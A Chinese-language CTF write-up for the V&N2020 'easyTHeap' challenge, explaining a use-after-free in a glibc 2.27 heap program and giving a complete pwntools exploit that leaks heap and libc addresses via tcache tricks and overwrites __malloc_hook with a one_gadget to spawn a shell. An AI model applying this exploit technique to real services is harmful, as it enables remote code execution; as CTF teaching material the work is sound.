• [V&N2020 公开赛]easyTHeap


    安全检查

     程序流程:

    主要是free这里没有置为0

     漏洞分析:

    • 首先由于uaf漏洞,所以我们可以通过double free来获得堆地址,并且还可以直接通过edit来修改tache_pthread_struct这个结构体里的成员
    • 然后利用tache_pthread_struct修改所有成员的个数,再释放一个带有tache_pthread_struct的函数,再输出出来就可以获得main_arena
    • 之后接着劫持malloc_hook即可,不过这里劫持我还有点没搞懂,所以会放在再刷一遍系列里面

    EXP:

    from pwn import *
    
    #p=process('./vn_pwn_easyTHeap')
    p=remote('node3.buuoj.cn',29664)
    libc=ELF('./libc-2.27.so')
    def add(size):
        p.recvuntil('choice: ')
        p.sendline('1')
        p.recvuntil('size?')
        p.sendline(str(size))
    
    def edit(idx,content):
        p.recvuntil('choice: ')
        p.sendline('2')
        p.recvuntil('idx?')
        p.sendline(str(idx))
        p.recvuntil('content:')
        p.sendline(content)
    
    def show(idx):
        p.recvuntil('choice: ')
        p.sendline('3')
        p.recvuntil('idx?')
        p.sendline(str(idx))
    
    def delete(idx):
        p.recvuntil('choice: ')
        p.sendline('4')
        p.recvuntil('idx?')
        p.sendline(str(idx))
    
    add(0x50)#0
    delete(0)
    delete(0)
    
    show(0)
    thread_tache=u64(p.recv(6).ljust(8,'x00'))-0x250
    #try_entry=thread_tache+0x80
    
    add(0x50)#1
    edit(1,p64(thread_tache))
    add(0x50)#2
    add(0x50)#3
    
    edit(3,'a'*0x28)
    delete(3)
    show(3)
    libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3ebca0
    print hex(libc_base)
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    realloc=libc_base+libc.symbols['__libc_realloc']
    one=libc_base+0x4f322
    add(0x50)#4
    edit(4,'a'*0x48+p64(malloc_hook-0x13))
    
    
    add(0x20)#5
    print hex(one)
    edit(5,'x00'*(0x13-0x8)+p64(one)+p64(realloc+8))
    add(0x10)
    
    #print hex(thread_tache)
    #gdb.attach(p)
    
    p.interactive()

    总结:

    • 不知道为什么要这样劫持,这是最重要的一点,所以等我今天如果能看明白,就会单独看一篇博客记录下来,否则明天一定要写出阿里
    • 这道题一开始我以为是通过让其count成员溢出,然后泄露libc,但发现后面无法在前进了
  • 相关阅读:
    Java 线程具有五中基本状态 ?
    可以直接调用 Thread 类的 run ()方法么?
    创建线程的三种方式的对比?
    FutureTask 是什么 ?
    什么是 CAS?
    如何让正在运行的线程暂停一段时间?
    什么是不可变对象(immutable object)?Java 中怎么 创建一个不可变对象?
    创建线程的有哪些方式?
    Semaphore 有什么作用 ?
    CopyOnWriteArrayList 可以用于什么应用场景?
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14012831.html
Copyright © 2020-2023  润新知